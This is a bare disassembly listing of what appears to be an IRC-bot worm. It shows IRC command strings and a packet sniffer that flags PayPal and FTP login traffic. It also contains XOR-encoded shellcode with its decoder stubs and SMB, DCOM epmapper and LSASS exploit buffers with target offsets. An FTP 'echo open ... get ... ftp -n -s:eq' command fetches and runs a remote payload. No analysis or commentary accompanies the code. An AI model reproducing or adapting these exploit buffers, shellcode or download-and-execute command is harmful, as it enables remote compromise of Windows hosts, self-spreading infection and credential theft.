off_423C98	dd offset dword_424510	; DATA XREF: sub_4024D0+29Er
		dd offset off_42450C
		dd offset aFtp		; "FTP"
		dd offset aHttp		; "HTTP"
dword_423CA8	dd 6F6C2E3Ah, 6E6967h, 3 dup(0)dword_423CBC	dd 0				dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp		db 'HTTP',0             ; DATA XREF: .text:00423CA4o
		align 4
aFtp		db 'FTP',0              ; DATA XREF: .text:00423CA0o
off_42450C	dd offset aRomSDToSD_	; DATA XREF: .text:00423C9Co
					; "rom:	%s:%d to: %s:%d."
dword_424510	dd 544F42h, 0	unk_424518	db    2			; DATA XREF: sub_4024D0+2FCo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorRecvFaile	db 'Error: recv() failed, returned: <%d>',0
		align 10h
unk_424560	db    2			; DATA XREF: sub_4024D0+2ABo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aSuspiciousSPac	db 'Suspicious %s packet from: %s:%d - %s.',0
		align 4
aPsniff		db '[PSNIFF]',0         ; DATA XREF: sub_4024D0+236o
		align 8
unk_4245B8	db    2			; DATA XREF: sub_4024D0+186o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorWsaioctlF	db 'Error: WSAIoctl() failed, returned: <%d>.',0
		align 8
unk_424608	db    2			; DATA XREF: sub_4024D0+103o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorBindFaile	db 'Error: bind() failed, returned: <%d>.',0
		align 10h
unk_424650	db    2			; DATA XREF: sub_4024D0+85o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSocketF_1	db 'Error: socket() failed, returned: <%d>.',0
; ---------------------------------------------------------------------------
		jmp	short loc_4246AA

; =============== S U B	R O U T	I N E =======================================



sub_42469A	proc far		; CODE XREF: sub_42469A:loc_4246AAp
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_4246A2:				; CODE XREF: sub_42469A+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_4246A2
		jmp	short loc_4246AF
; ---------------------------------------------------------------------------


loc_4246AA:				; CODE XREF: .text:00424698j
		call	near ptr sub_42469A


loc_4246AF:				; CODE XREF: sub_42469A+Ej
		jo	short loc_424713
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_424731
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_424713:				; CODE XREF: sub_42469A:loc_4246AFj
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_424731:				; CODE XREF: sub_42469A+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_42469A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_4247D8:				; DATA XREF: sub_40297A+151o
					; sub_40297A+20Fo
		jmp	short loc_4247EA

; =============== S U B	R O U T	I N E =======================================



sub_4247DA	proc near		; CODE XREF: sub_4247DA:loc_4247EAp
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_4247E2:				; CODE XREF: sub_4247DA+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_4247E2
		jmp	short loc_4247EF
; ---------------------------------------------------------------------------


loc_4247EA:				; CODE XREF: .text:loc_4247D8j
		call	sub_4247DA


loc_4247EF:				; CODE XREF: sub_4247DA+Ej
		jo	short near ptr dword_424768+1Eh
		cwde
		cdq
		cdq
		retn
sub_4247DA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_424888	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_40297A+102o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_424970	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_402DD1+7Fo
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 2 dup(0)
dword_424A00	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402DD1+AAo
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
dword_424AB0	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402DD1+CFo
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_424B90	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40297A+58o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC:					; DATA XREF: sub_40297A+87o
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 2 dup(0)
dword_424BF8	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40297A+2B2o
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 2 dup(0)
dword_424C68	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40297A+2DDo
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_424D10	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40297A+3C5o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_424D90	dd offset loc_401493+2	; DATA XREF: sub_40297A+3F3o
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_407078+4
		dd 1, 0
		dd 1, 0
		dd offset loc_407078+4
		dd 1, 0
		dd 1, 0
		dd offset loc_407078+4
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	2 dup(0)
dword_424E28	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40297A+316o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 2 dup(0)
dword_424E98	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40297A+341o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0)
dword_424F10	dd 0				dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 2	dup(0)
word_424F98	dw 0AD9Dh		; DATA XREF: sub_40282F+30r
					; sub_40297A+E4r
		align 4
		dd 2 dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 8
dword_424FD8	dd 1004600h						; sub_40297A+242r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
dword_425090	dd 0A0D7325h, 0						; sub_4036D2+102o ...
aEchoOpenSDEqEc	db 'echo open %s %d >> eq&echo user %s %s >> eq &echo get %s >> eq &e'
					; DATA XREF: sub_40282F+A4o
		db 'cho quit >> eq &ftp -n -s:eq &%s',0Dh,0Ah,0
; ---------------------------------------------------------------------------


loc_4250FC:				; DATA XREF: sub_40297A+172o
					; sub_403833+178o
		jmp	short loc_425104
; ---------------------------------------------------------------------------
		jmp	short loc_425106
; ---------------------------------------------------------------------------
		dd 0
; ---------------------------------------------------------------------------


loc_425104:				; CODE XREF: .text:loc_4250FCj
					; DATA XREF: sub_40297A+27o ...
		pop	esp
		pop	esp


loc_425106:				; CODE XREF: .text:004250FEj
		and	eax, 70695C73h
		arpl	[eax+eax], sp
; ---------------------------------------------------------------------------
		dw 0
dword_425110	dd 1CEC8166h						; sub_403833+Dr
dword_425114	dd 0E4FF07h						; sub_403833+16r
dword_425118	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0					; sub_4033B6+21Bo
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_425168	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_403166+120o
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_4254CC	dd 20h,	0			dd 20h,	5C005Ch, 0
off_4254E0	dd offset aSubway+4	; DATA XREF: sub_403166+15Ao
a12345611111111:
		unicode	0, <$\123456111111111111111.doc>,0
		align 10h
dword_425520	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
aFxnbfxfxnbfxfx:			; DATA XREF: sub_403166+45o
		unicode	0, <FXNBFXFXNBFXFXFXFX>
		dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr	db ''
		db ''
		db '',0
dword_425630	dd 18759Fh	dword_425634	dd 100139Dh	asc_425638:				; DATA XREF: sub_402FCD+1Co
					; sub_4030B0+16o
		unicode	0, <\\>,0
		align 10h
aIpc:					; DATA XREF: sub_402FCD+Co
					; sub_4030B0+Bo
		unicode	0, <\IPC$>,0
aSPipeEpmapper	db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_4033B6+41o
		align 10h
		jmp	short loc_425672

; =============== S U B	R O U T	I N E =======================================



sub_425662	proc far		; CODE XREF: sub_425662:loc_425672p
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_42566A:				; CODE XREF: sub_425662+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_42566A
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425672:				; CODE XREF: .text:00425660j
		call	near ptr sub_425662


loc_425677:				; CODE XREF: sub_425662+Ej
		jo	short loc_4256DB
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_4256F9
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_4256DB:				; CODE XREF: sub_425662:loc_425677j
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_4256F9:				; CODE XREF: sub_425662+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_425662	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_4257A0:				; DATA XREF: sub_403833+157o
					; sub_403833+214o
		jmp	short loc_4257B2

; =============== S U B	R O U T	I N E =======================================



sub_4257A2	proc near		; CODE XREF: sub_4257A2:loc_4257B2p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_4257AA:				; CODE XREF: sub_4257A2+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_4257AA
		jmp	short loc_4257B7
; ---------------------------------------------------------------------------


loc_4257B2:				; CODE XREF: .text:loc_4257A0j
		call	sub_4257A2


loc_4257B7:				; CODE XREF: sub_4257A2+Ej
		jo	short near ptr dword_425730+1Eh
		cwde
		cdq
		cdq
		retn
sub_4257A2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_425850	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_403833+106o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_425938	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
